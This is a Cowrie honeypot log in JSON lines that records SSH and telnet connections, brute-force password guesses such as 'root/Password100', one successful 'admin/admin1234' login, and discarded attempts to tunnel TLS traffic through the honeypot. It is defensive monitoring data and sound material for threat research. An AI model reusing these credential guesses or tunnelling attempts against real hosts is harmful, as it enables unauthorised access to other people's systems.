{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45446,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1d0acd5474","protocol":"telnet","message":"New connection: 172.81.62.90:45446 (159.203.135.109:23) [session: 5f1d0acd5474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:01.201834Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":60618,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be961f27040","protocol":"ssh","message":"New connection: 89.223.69.22:60618 (159.203.135.109:22) [session: 1be961f27040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:04.012786Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46438,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be01e344215","protocol":"telnet","message":"New connection: 172.81.62.90:46438 (159.203.135.109:23) [session: 3be01e344215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:06.551785Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":46692,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe61008c3405","protocol":"ssh","message":"New connection: 103.82.20.28:46692 (10.17.0.5:22) [session: fe61008c3405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:08.718037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:08.722449Z","src_ip":"103.82.20.28","session":"fe61008c3405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:08.985741Z","src_ip":"103.82.20.28","session":"fe61008c3405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132345678","message":"login attempt [root/132345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:09.777061Z","src_ip":"103.82.20.28","session":"fe61008c3405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:11.042438Z","src_ip":"103.82.20.28","session":"fe61008c3405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49523,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d499e0d3ad4","protocol":"ssh","message":"New connection: 123.27.168.40:49523 (10.17.0.5:22) [session: 2d499e0d3ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:13.945697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:13.950315Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:14.202800Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:15.292681Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:15.802422Z","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:16.052137Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Z\\xf6\\xd2\\xfe\\xf49\\xe2h\\x91nn#/'\\x9f\\x13\\xc0\\xf9|\\xd0\\xc3\\tB\\xee\\xd0'\\x88\\xbd\\xa8\\xe0\\xd9\\x9b 8\\xe0\\xc4\\x05v<\\x9cr\\r\\x05\\xd3\\x90\\x93\\xa14\\xe1\\x97\\x04\\xb3\\x00\\x9b\\xf3\\x03\\x90v\\xb5\\x1b\\x07\\x9f\\xd5\\xcfP\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a$\\xb2{\\xcc?K\\x08;\\x1a\\xfe\\x8fjY@\\xcd*\\x14i\\xd5\\x90\\x1bLU\\xefN\\x8a\\x92\\x91\\xeb\\xb5z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Z\\xf6\\xd2\\xfe\\xf49\\xe2h\\x91nn#/'\\x9f\\x13\\xc0\\xf9|\\xd0\\xc3\\tB\\xee\\xd0'\\x88\\xbd\\xa8\\xe0\\xd9\\x9b 8\\xe0\\xc4\\x05v<\\x9cr\\r\\x05\\xd3\\x90\\x93\\xa14\\xe1\\x97\\x04\\xb3\\x00\\x9b\\xf3\\x03\\x90v\\xb5\\x1b\\x07\\x9f\\xd5\\xcfP\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a$\\xb2{\\xcc?K\\x08;\\x1a\\xfe\\x8fjY@\\xcd*\\x14i\\xd5\\x90\\x1bLU\\xefN\\x8a\\x92\\x91\\xeb\\xb5z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:16.055680Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:16.310867Z","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:16.560214Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xae\\x11\\xee\\xa3\\xc7\\x9cTe~\\xdc\\xd8\\x1e\\x98P.\\xc2\\xe4T\\xd2u\\xd4r*\\xe3\\xa5\\x02\\x0f,;\\xa5B \\xef\\x13*\\x1c\\x17\\x8b\\xa8\\x97\\n\\'\\xe6\\tL\\x08\\xfc\\xcbwd\\xf1\\x98\\xe3\\xe5\\xd4\\xe4g\\xd7\\x81\\x86\\xdc@Z\\xb2\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xe4L\\xeb\\x9a\\xb7\\xbd`\\xf8\\xd4\\x0b\\x03\\xbe\\xa5\\xd1*\\xe4\\xe6i\\xd3t%\\xc3,kr\\x9d\\\\Z\\x9eX\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xae\\x11\\xee\\xa3\\xc7\\x9cTe~\\xdc\\xd8\\x1e\\x98P.\\xc2\\xe4T\\xd2u\\xd4r*\\xe3\\xa5\\x02\\x0f,;\\xa5B \\xef\\x13*\\x1c\\x17\\x8b\\xa8\\x97\\n\\'\\xe6\\tL\\x08\\xfc\\xcbwd\\xf1\\x98\\xe3\\xe5\\xd4\\xe4g\\xd7\\x81\\x86\\xdc@Z\\xb2\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xe4L\\xeb\\x9a\\xb7\\xbd`\\xf8\\xd4\\x0b\\x03\\xbe\\xa5\\xd1*\\xe4\\xe6i\\xd3t%\\xc3,kr\\x9d\\\\Z\\x9eX\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:16.563115Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:16.928724Z","src_ip":"123.27.168.40","session":"2d499e0d3ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57090,"dst_ip":"159.203.135.109","dst_port":22,"session":"a82ceb89061a","protocol":"ssh","message":"New connection: 27.71.230.31:57090 (159.203.135.109:22) [session: a82ceb89061a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:20.989976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:21.312327Z","src_ip":"27.71.230.31","session":"a82ceb89061a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:21.315243Z","src_ip":"27.71.230.31","session":"a82ceb89061a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password100","message":"login attempt [root/Password100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:26.373340Z","src_ip":"27.71.230.31","session":"a82ceb89061a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":53976,"dst_ip":"159.203.135.109","dst_port":22,"session":"263b4adbfd49","protocol":"ssh","message":"New connection: 101.79.165.43:53976 (159.203.135.109:22) [session: 263b4adbfd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:27.169474Z"}
